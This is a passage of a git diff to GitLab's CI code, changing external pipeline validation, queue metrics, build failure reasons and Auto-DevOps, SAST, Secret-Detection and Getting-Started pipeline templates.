+Gitlab::Ci::Matching::RunnerMatcher.prepend_mod_with('Gitlab::Ci::Matching::RunnerMatcher')
diff --git a/lib/gitlab/ci/parsers/test/junit.rb b/lib/gitlab/ci/parsers/test/junit.rb
index ca7fbde6713..364ae66844e 100644
--- a/lib/gitlab/ci/parsers/test/junit.rb
+++ b/lib/gitlab/ci/parsers/test/junit.rb
@@ -69,6 +69,7 @@ module Gitlab
elsif data.key?('error')
status = ::Gitlab::Ci::Reports::TestCase::STATUS_ERROR
system_output = data['error']
+ attachment = attachment_path(data['system_out'])
elsif data.key?('skipped')
status = ::Gitlab::Ci::Reports::TestCase::STATUS_SKIPPED
system_output = data['skipped']
diff --git a/lib/gitlab/ci/pipeline/chain/validate/after_config.rb b/lib/gitlab/ci/pipeline/chain/validate/after_config.rb
new file mode 100644
index 00000000000..c3db00b4fb2
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/chain/validate/after_config.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Chain
+ module Validate
+ class AfterConfig < Chain::Base
+ include Chain::Helpers
+
+ def perform!
+ end
+
+ def break?
+ @pipeline.errors.any?
+ end
+ end
+ end
+ end
+ end
+ end
+end
+
+Gitlab::Ci::Pipeline::Chain::Validate::AfterConfig.prepend_mod_with('Gitlab::Ci::Pipeline::Chain::Validate::AfterConfig')
diff --git a/lib/gitlab/ci/pipeline/chain/validate/external.rb b/lib/gitlab/ci/pipeline/chain/validate/external.rb
index 539b44513f0..27bb7fdc05a 100644
--- a/lib/gitlab/ci/pipeline/chain/validate/external.rb
+++ b/lib/gitlab/ci/pipeline/chain/validate/external.rb
@@ -12,12 +12,9 @@ module Gitlab
DEFAULT_VALIDATION_REQUEST_TIMEOUT = 5
ACCEPTED_STATUS = 200
- DOT_COM_REJECTED_STATUS = 406
- GENERAL_REJECTED_STATUS = (400..499).freeze
+ REJECTED_STATUS = 406
def perform!
- return unless enabled?
-
pipeline_authorized = validate_external
log_message = pipeline_authorized ? 'authorized' : 'not authorized'
@@ -32,24 +29,17 @@ module Gitlab
private
- def enabled?
- return true unless Gitlab.com?
-
- ::Feature.enabled?(:ci_external_validation_service, project, default_enabled: :yaml)
- end
-
def validate_external
return true unless validation_service_url
# 200 - accepted
- # 406 - not accepted on GitLab.com
- # 4XX - not accepted for other installations
+ # 406 - rejected
# everything else - accepted and logged
response_code = validate_service_request.code
case response_code
when ACCEPTED_STATUS
true
- when rejected_status
+ when REJECTED_STATUS
false
else
raise InvalidResponseCode, "Unsupported response code received from Validation Service: #{response_code}"
@@ -60,14 +50,6 @@ module Gitlab
true
end
- def rejected_status
- if Gitlab.com?
- DOT_COM_REJECTED_STATUS
- else
- GENERAL_REJECTED_STATUS
- end
- end
-
def validate_service_request
headers = {
'X-Gitlab-Correlation-id' => Labkit::Correlation::CorrelationId.current_id,
@@ -107,7 +89,9 @@ module Gitlab
id: current_user.id,
username: current_user.username,
email: current_user.email,
- created_at: current_user.created_at&.iso8601
+ created_at: current_user.created_at&.iso8601,
+ current_sign_in_ip: current_user.current_sign_in_ip,
+ last_sign_in_ip: current_user.last_sign_in_ip
},
pipeline: {
sha: pipeline.sha,
diff --git a/lib/gitlab/ci/pipeline/preloader.rb b/lib/gitlab/ci/pipeline/preloader.rb
index 7befc126ca9..31ddf2c4241 100644
--- a/lib/gitlab/ci/pipeline/preloader.rb
+++ b/lib/gitlab/ci/pipeline/preloader.rb
@@ -20,6 +20,7 @@ module Gitlab
preloader.preload_ref_commits
preloader.preload_pipeline_warnings
preloader.preload_stages_warnings
+ preloader.preload_persisted_environments
end
end
end
@@ -54,6 +55,13 @@ module Gitlab
def preload_stages_warnings
@pipeline.stages.each { |stage| stage.number_of_warnings }
end
+
+ # This batch loads the associated environments of multiple actions (builds)
+ # that can't use `preload` due to the indirect relationship.
+ def preload_persisted_environments
+ @pipeline.scheduled_actions.each { |action| action.persisted_environment }
+ @pipeline.manual_actions.each { |action| action.persisted_environment }
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index 39dee7750d6..299b27a5f13 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -146,7 +146,7 @@ module Gitlab
end
@needs_attributes.flat_map do |need|
- next if ::Feature.enabled?(:ci_needs_optional, default_enabled: :yaml) && need[:optional]
+ next if need[:optional]
result = @previous_stages.any? do |stage|
stage.seeds_names.include?(need[:name])
diff --git a/lib/gitlab/ci/queue/metrics.rb b/lib/gitlab/ci/queue/metrics.rb
index 46e4373ec85..859aeb35f26 100644
--- a/lib/gitlab/ci/queue/metrics.rb
+++ b/lib/gitlab/ci/queue/metrics.rb
@@ -20,6 +20,8 @@ module Gitlab
:build_can_pick,
:build_not_pick,
:build_not_pending,
+ :build_queue_push,
+ :build_queue_pop,
:build_temporary_locked,
:build_conflict_lock,
:build_conflict_exception,
@@ -31,7 +33,9 @@ module Gitlab
:queue_replication_lag,
:runner_pre_assign_checks_failed,
:runner_pre_assign_checks_success,
- :runner_queue_tick
+ :runner_queue_tick,
+ :shared_runner_build_new,
+ :shared_runner_build_done
].to_set.freeze
QUEUE_DEPTH_HISTOGRAMS = [
@@ -77,11 +81,7 @@ module Gitlab
# rubocop: enable CodeReuse/ActiveRecord
def increment_queue_operation(operation)
- if !Rails.env.production? && !OPERATION_COUNTERS.include?(operation)
- raise ArgumentError, "unknown queue operation: #{operation}"
- end
-
- self.class.queue_operations_total.increment(operation: operation)
+ self.class.increment_queue_operation(operation)
end
def observe_queue_depth(queue, size)
@@ -121,6 +121,14 @@ module Gitlab
result
end
+ def self.increment_queue_operation(operation)
+ if !Rails.env.production? && !OPERATION_COUNTERS.include?(operation)
+ raise ArgumentError, "unknown queue operation: #{operation}"
+ end
+
+ queue_operations_total.increment(operation: operation)
+ end
+
def self.observe_active_runners(runners_proc)
return unless Feature.enabled?(:gitlab_ci_builds_queuing_metrics, default_enabled: false)
diff --git a/lib/gitlab/ci/reports/test_suite_comparer.rb b/lib/gitlab/ci/reports/test_suite_comparer.rb
index 239fc3b15e7..287a03cefe2 100644
--- a/lib/gitlab/ci/reports/test_suite_comparer.rb
+++ b/lib/gitlab/ci/reports/test_suite_comparer.rb
@@ -8,6 +8,7 @@ module Gitlab
DEFAULT_MAX_TESTS = 100
DEFAULT_MIN_TESTS = 10
+ TestSummary = Struct.new(:new_failures, :existing_failures, :resolved_failures, :new_errors, :existing_errors, :resolved_errors, keyword_init: true)
attr_reader :name, :base_suite, :head_suite
@@ -90,7 +91,7 @@ module Gitlab
def limited_tests
strong_memoize(:limited_tests) do
# rubocop: disable CodeReuse/ActiveRecord
- OpenStruct.new(
+ TestSummary.new(
new_failures: new_failures.take(max_tests),
existing_failures: existing_failures.take(max_tests(new_failures)),
resolved_failures: resolved_failures.take(max_tests(new_failures, existing_failures)),
diff --git a/lib/gitlab/ci/status/build/failed.rb b/lib/gitlab/ci/status/build/failed.rb
index cbd72f54ff4..66f51f63585 100644
--- a/lib/gitlab/ci/status/build/failed.rb
+++ b/lib/gitlab/ci/status/build/failed.rb
@@ -30,7 +30,8 @@ module Gitlab
reached_max_descendant_pipelines_depth: 'reached maximum depth of child pipelines',
project_deleted: 'pipeline project was deleted',
user_blocked: 'pipeline user was blocked',
- ci_quota_exceeded: 'no more CI minutes available'
+ ci_quota_exceeded: 'no more CI minutes available',
+ no_matching_runner: 'no matching runner available'
}.freeze
private_constant :REASONS
diff --git a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
index a13f2046291..5680950bba8 100644
--- a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
@@ -11,7 +11,7 @@
# * test: TEST_DISABLED
# * code_quality: CODE_QUALITY_DISABLED
# * license_management: LICENSE_MANAGEMENT_DISABLED
-# * performance: PERFORMANCE_DISABLED
+# * browser_performance: BROWSER_PERFORMANCE_DISABLED
# * load_performance: LOAD_PERFORMANCE_DISABLED
# * sast: SAST_DISABLED
# * secret_detection: SECRET_DETECTION_DISABLED
diff --git a/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml b/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml
new file mode 100644
index 00000000000..07d0de5f9e5
--- /dev/null
+++ b/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml
@@ -0,0 +1,39 @@
+# This is a sample GitLab CI/CD configuration file that should run without any modifications.
+# It demonstrates a basic 3 stage CI/CD pipeline. Instead of real tests or scripts,
+# it uses echo commands to simulate the pipeline execution.
+#
+# A pipeline is composed of independent jobs that run scripts, grouped into stages.
+# Stages run in sequential order, but jobs within stages run in parallel.
+#
+# For more information, see: https://docs.gitlab.com/ee/ci/yaml/README.html#stages
+
+stages: # List of stages for jobs, and their order of execution
+ - build
+ - test
+ - deploy
+
+build-job: # This job runs in the build stage, which runs first.
+ stage: build
+ script:
+ - echo "Compiling the code..."
+ - echo "Compile complete."
+
+unit-test-job: # This job runs in the test stage.
+ stage: test # It only starts when the job in the build stage completes successfully.
+ script:
+ - echo "Running unit tests... This will take about 60 seconds."
+ - sleep 60
+ - echo "Code coverage is 90%"
+
+lint-test-job: # This job also runs in the test stage.
+ stage: test # It can run at the same time as unit-test-job (in parallel).
+ script:
+ - echo "Linting code... This will take about 10 seconds."
+ - sleep 10
+ - echo "No lint issues found."
+
+deploy-job: # This job runs in the deploy stage.
+ stage: deploy # It only runs when *both* jobs in the test stage complete successfully.
+ script:
+ - echo "Deploying application..."
+ - echo "Application successfully deployed."
diff --git a/lib/gitlab/ci/templates/Getting-started.yml b/lib/gitlab/ci/templates/Getting-started.yml
deleted file mode 100644
index 4dc88418671..00000000000
--- a/lib/gitlab/ci/templates/Getting-started.yml
+++ /dev/null
@@ -1,39 +0,0 @@
-# This is a sample GitLab CI/CD configuration file that should run without any modifications.
-# It demonstrates a basic 3 stage CI/CD pipeline. Instead of real tests or scripts,
-# it uses echo commands to simulate the pipeline execution.
-#
-# A pipeline is composed of independent jobs that run scripts, grouped into stages.
-# Stages run in sequential order, but jobs within stages run in parallel.
-#
-# For more information, see: https://docs.gitlab.com/ee/ci/yaml/README.html#stages
-
-stages: # List of stages for jobs, and their order of execution
- - build
- - test
- - deploy
-
-build-job: # This job runs in the build stage, which runs first.
- stage: build
- script:
- - echo "Compiling the code..."
- - echo "Compile complete.
-
-unit-test-job: # This job runs in the test stage.
- stage: test # It only starts when the job in the build stage completes successfully.
- script:
- - echo "Running unit tests... This will take about 60 seconds."
- - sleep 60
- - echo "Code coverage is 90%"
-
-lint-test-job: # This job also runs in the test stage.
- stage: test # It can run at the same time as unit-test-job (in parallel).
- script:
- - echo "Linting code... This will take about 10 seconds."
- - sleep 10
- - echo "No lint issues found."
-
-deploy-job: # This job runs in the deploy stage.
- stage: deploy # It only runs when *both* jobs in the test stage complete successfully.
- script:
- - echo "Deploying application..."
- - echo "Application successfully deployed."
diff --git a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
index 01907ef9e2e..56899614cc6 100644
--- a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
@@ -1,6 +1,6 @@
# Read more about the feature here: https://docs.gitlab.com/ee/user/project/merge_requests/browser_performance_testing.html
-performance:
+browser_performance:
stage: performance
image: docker:19.03.12
allow_failure: true
@@ -72,6 +72,6 @@ performance:
rules:
- if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
when: never
- - if: '$PERFORMANCE_DISABLED'
+ - if: '$BROWSER_PERFORMANCE_DISABLED'
when: never
- if: '$CI_COMMIT_TAG || $CI_COMMIT_BRANCH'
diff --git a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.latest.gitlab-ci.yml
index 5216a46745c..56899614cc6 100644
--- a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.latest.gitlab-ci.yml
@@ -72,6 +72,6 @@ browser_performance:
rules:
- if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
when: never
- - if: '$PERFORMANCE_DISABLED'
+ - if: '$BROWSER_PERFORMANCE_DISABLED'
when: never
- if: '$CI_COMMIT_TAG || $CI_COMMIT_BRANCH'
diff --git a/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
index abcb347b146..cf99d722e4d 100644
--- a/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
@@ -1,10 +1,10 @@
build:
stage: build
- image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-build-image:v0.6.0"
+ image: 'registry.gitlab.com/gitlab-org/cluster-integration/auto-build-image:v1.0.0'
variables:
- DOCKER_TLS_CERTDIR: ""
+ DOCKER_TLS_CERTDIR: ''
services:
- - name: "docker:20.10.6-dind"
+ - name: 'docker:20.10.6-dind'
command: ['--tls=false', '--host=tcp://0.0.0.0:2375']
script:
- |
diff --git a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
index b29342216fc..48e877684f6 100644
--- a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
@@ -7,7 +7,7 @@ code_quality:
variables:
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
- CODE_QUALITY_IMAGE: "registry.gitlab.com/gitlab-org/ci-cd/codequality:0.85.23"
+ CODE_QUALITY_IMAGE: "registry.gitlab.com/gitlab-org/ci-cd/codequality:0.85.24"
needs: []
script:
- export SOURCE_CODE=$PWD
diff --git a/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
index 7ad5a9e2bba..00fcfa64a18 100644
--- a/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
@@ -1,5 +1,5 @@
.dast-auto-deploy:
- image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.7"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.6.0"
dast_environment_deploy:
extends: .dast-auto-deploy
diff --git a/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
index 29edada4041..530ab1d0f99 100644
--- a/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
@@ -1,5 +1,5 @@
.auto-deploy:
- image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.7"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.6.0"
dependencies: []
review:
@@ -91,7 +91,7 @@ canary:
- auto-deploy ensure_namespace
- auto-deploy initialize_tiller
- auto-deploy create_secret
- - auto-deploy deploy canary
+ - auto-deploy deploy canary 50
environment:
name: production
url: http://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN
@@ -114,7 +114,6 @@ canary:
- auto-deploy create_secret
- auto-deploy deploy
- auto-deploy delete canary
- - auto-deploy delete rollout
- auto-deploy persist_environment_url
environment:
name: production
@@ -163,9 +162,7 @@ production_manual:
- auto-deploy ensure_namespace
- auto-deploy initialize_tiller
- auto-deploy create_secret
- - auto-deploy deploy rollout $ROLLOUT_PERCENTAGE
- - auto-deploy scale stable $((100-ROLLOUT_PERCENTAGE))
- - auto-deploy delete canary
+ - auto-deploy deploy canary $ROLLOUT_PERCENTAGE
- auto-deploy persist_environment_url
environment:
name: production
diff --git a/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
new file mode 100644
index 00000000000..6af79728dc8
--- /dev/null
+++ b/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
@@ -0,0 +1,335 @@
+# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/sast/
+#
+# Configure SAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/sast/index.html#available-variables
+
+variables:
+ # Setting this variable will affect all Security templates
+ # (SAST, Dependency Scanning, ...)
+ SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
+
+ SAST_EXCLUDED_ANALYZERS: ""
+ SAST_EXCLUDED_PATHS: "spec, test, tests, tmp"
+ SCAN_KUBERNETES_MANIFESTS: "false"
+
+sast:
+ stage: test
+ artifacts:
+ reports:
+ sast: gl-sast-report.json
+ rules:
+ - when: never
+ variables:
+ SEARCH_MAX_DEPTH: 4
+ script:
+ - echo "$CI_JOB_NAME is used for configuration only, and its script should not be executed"
+ - exit 1
+
+.sast-analyzer:
+ extends: sast
+ allow_failure: true
+ # `rules` must be overridden explicitly by each child job
+ # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
+ script:
+ - /analyzer run
+
+bandit-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/bandit:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /bandit/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.py'
+
+brakeman-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/brakeman:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /brakeman/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.rb'
+ - '**/Gemfile'
+
+eslint-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/eslint:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /eslint/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.html'
+ - '**/*.js'
+ - '**/*.jsx'
+ - '**/*.ts'
+ - '**/*.tsx'
+
+flawfinder-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/flawfinder:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /flawfinder/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.c'
+ - '**/*.cpp'
+
+kubesec-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/kubesec:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /kubesec/
+ when: never
+ - if: $CI_COMMIT_BRANCH &&
+ $SCAN_KUBERNETES_MANIFESTS == 'true'
+
+gosec-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 3
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gosec:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /gosec/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.go'
+
+.mobsf-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/mobsf:$SAST_ANALYZER_IMAGE_TAG"
+
+mobsf-android-sast:
+ extends: .mobsf-sast
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /mobsf/
+ when: never
+ - if: $CI_COMMIT_BRANCH &&
+ $SAST_EXPERIMENTAL_FEATURES == 'true'
+ exists:
+ - '**/*.apk'
+ - '**/AndroidManifest.xml'
+
+mobsf-ios-sast:
+ extends: .mobsf-sast
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /mobsf/
+ when: never
+ - if: $CI_COMMIT_BRANCH &&
+ $SAST_EXPERIMENTAL_FEATURES == 'true'
+ exists:
+ - '**/*.ipa'
+ - '**/*.xcodeproj/*'
+
+nodejs-scan-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/nodejs-scan:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /nodejs-scan/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/package.json'
+
+phpcs-security-audit-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/phpcs-security-audit:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /phpcs-security-audit/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.php'
+
+pmd-apex-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/pmd-apex:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /pmd-apex/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.cls'
+
+security-code-scan-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/security-code-scan:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /security-code-scan/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.csproj'
+ - '**/*.vbproj'
+
+semgrep-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/semgrep:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /semgrep/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.py'
+ - '**/*.js'
+ - '**/*.jsx'
+ - '**/*.ts'
+ - '**/*.tsx'
+
+sobelow-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/sobelow:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /sobelow/
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - 'mix.exs'
+
+spotbugs-sast:
+ extends: .sast-analyzer
+ image:
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
+ # override the analyzer image with a custom value. This may be subject to change or
+ # breakage across GitLab releases.
+ SAST_ANALYZER_IMAGE_TAG: 2
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/spotbugs:$SAST_ANALYZER_IMAGE_TAG"
+ rules:
+ - if: $SAST_EXCLUDED_ANALYZERS =~ /spotbugs/
+ when: never
+ - if: $SAST_EXPERIMENTAL_FEATURES == 'true'
+ exists:
+ - '**/AndroidManifest.xml'
+ when: never
+ - if: $SAST_DISABLED
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.groovy'
+ - '**/*.java'
+ - '**/*.scala'
+ - '**/*.kt'
diff --git a/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml
new file mode 100644
index 00000000000..d0595491400
--- /dev/null
+++ b/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml
@@ -0,0 +1,36 @@
+# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/secret_detection
+#
+# Configure the scanning tool through the environment variables.
+# List of the variables: https://docs.gitlab.com/ee/user/application_security/secret_detection/#available-variables
+# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+
+variables:
+ SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
+ SECRETS_ANALYZER_VERSION: "3"
+ SECRET_DETECTION_EXCLUDED_PATHS: ""
+
+.secret-analyzer:
+ stage: test
+ image: "$SECURE_ANALYZERS_PREFIX/secrets:$SECRETS_ANALYZER_VERSION"
+ services: []
+ allow_failure: true
+ # `rules` must be overridden explicitly by each child job
+ # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
+ artifacts:
+ reports:
+ secret_detection: gl-secret-detection-report.json
+
+secret_detection:
+ extends: .secret-analyzer
+ rules:
